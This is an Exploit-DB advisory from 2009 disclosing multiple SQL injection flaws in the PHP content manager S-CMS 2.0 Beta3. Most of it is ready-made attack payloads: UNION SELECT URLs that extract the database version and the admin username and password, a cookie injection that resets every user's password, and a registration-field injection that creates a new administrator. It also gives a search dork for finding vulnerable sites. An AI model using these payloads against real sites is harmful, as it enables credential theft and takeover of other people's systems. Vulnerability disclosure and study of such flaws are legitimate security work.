Exploit-DB #8914
Description: S-CMS 2.0b3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-06-09
Author: YEnH4ckEr

Exploit:
***********************************************************************************************
***********************************************************************************************
**	       										     **
**  											     **
**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
**							                                     **
**    											     **
**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
**					Â¡PROUD TO BE SPANISH!				     **
**											     **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
|       	   	     MULTIPLE SQL INJECTION VULNERABILITIES	             	     |
|--------------------------------------------------------------------------------------------|
|                                    |    S-CMS <= v-2.0 Beta3   |		    	     |
|  CMS INFORMATION:          	      ---------------------------	               	     |
|										             |
|-->WEB: http://www.matteoiammarrone.com/public/s-cms/			       		     |
|-->DOWNLOAD: http://www.matteoiammarrone.com/public/s-cms/		                     |
|-->DEMO: N/A										     |
|-->CATEGORY: CMS / Portal								     |
|-->DESCRIPTION: Cms written in php and mysql, phpnuke style whit a plugins,                 |
|		blocks and permission system.                            		     |
|-->RELEASED: 2009-05-25								     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3						                     |
|-->DORK: "S-CMS by matteoiamma"						             |
|-->CATEGORY: SQL INJECTION/INSECURE COOKIE HANDLING (SQLi)/ADD NEW ADMIN (SQLi)             |
|-->AFFECT VERSION: <= 2.0-Beta3					 		     |
|-->Discovered Bug date: 2009-05-25							     |
|-->Reported Bug date: 2009-05-25							     |
|-->Fixed bug date: 2009-05-28								     |
|-->Info patch(2.1): http://www.matteoiammarrone.com/public/s-cms/plugin.php?page=phpbb3     |
|-->Author: YEnH4ckEr									     |
|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)			     |
----------------------------------------------------------------------------------------------


#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################


-------------------
PROOF OF CONCEPT:
-------------------


<<<<---------++++++++++++++ Condition: magic quotes=OFF +++++++++++++++++--------->>>>

<<<<---------++++++++++++++ Condition: {db_prefix} by default: cms +++++++++++++++++--------->>>>


[++] GET var --> 'username'

[++] File vuln --> 'profile.php'


~~~> http://[HOST]/[PATH]/plugin.php?page=your_account&mode=viewprofile&username=-1%27+UNION+ALL+SELECT+1,user(),3,version(),database(),user(),7,8,current_user(),10,11,version(),13,14,15,version(),17,version(),user(),20,21,22%23


[++[Return]++] ~~~~~> user or version in DB.


----------
EXPLOIT:
----------


~~~> http://[HOST]/[PATH]/plugin.php?page=your_account&mode=viewprofile&username=-1%27+UNION+ALL+SELECT+1,username,3,concat(username,0x3A3A3A,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+cms_users+WHERE+uid=1%23


[++[Return]++] ~~~~~> username:::password in '{db_prefix}_users' table



##################################
/////////////////////////////////

INSECURE COOKIE HANDLING (SQLi):

/////////////////////////////////
##################################



<<<<---------++++++++++++++ Condition: magic quotes=OFF +++++++++++++++++--------->>>>

<<<<---------++++++++++++++ Condition: Be registered user +++++++++++++++++--------->>>>


Being other user we can change passwords of all users and set our password for them.


----------
EXPLOIT:
----------


Change 'username' cookie.


~~~> username=[your_real_user]' or 1=1%23 



[++[Return]++] ~~~~~> Set our password for all users.



#######################
//////////////////////

ADD NEW ADMIN (SQLi):

/////////////////////
######################



<<<<---------++++++++++++++ Condition: magic quotes=OFF +++++++++++++++++--------->>>>



Go to register page ~~~~~> http://[HOST]/[PATH]/plugin.php?page=your_account.php&mode=register


----------
EXPLOIT:
----------


Set username.


~~~> username=y3nh4ck3r',MD5('y3nh4ck3r'), '', '', '', '', 'offline', 'y3nh4ck3r@gmail.com', '01.gif', '', '', '', '1', '', '', 'ip', 'lang-english.php', 'lightstorm', '', 'admin', '0')/*



[++[Return]++] ~~~~~> Create new admin with username/[CREDENTIAL_REDACTED]/y3nh4ck3r



<<<-----------------------------EOF---------------------------------->>>ENJOY IT!



##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and eve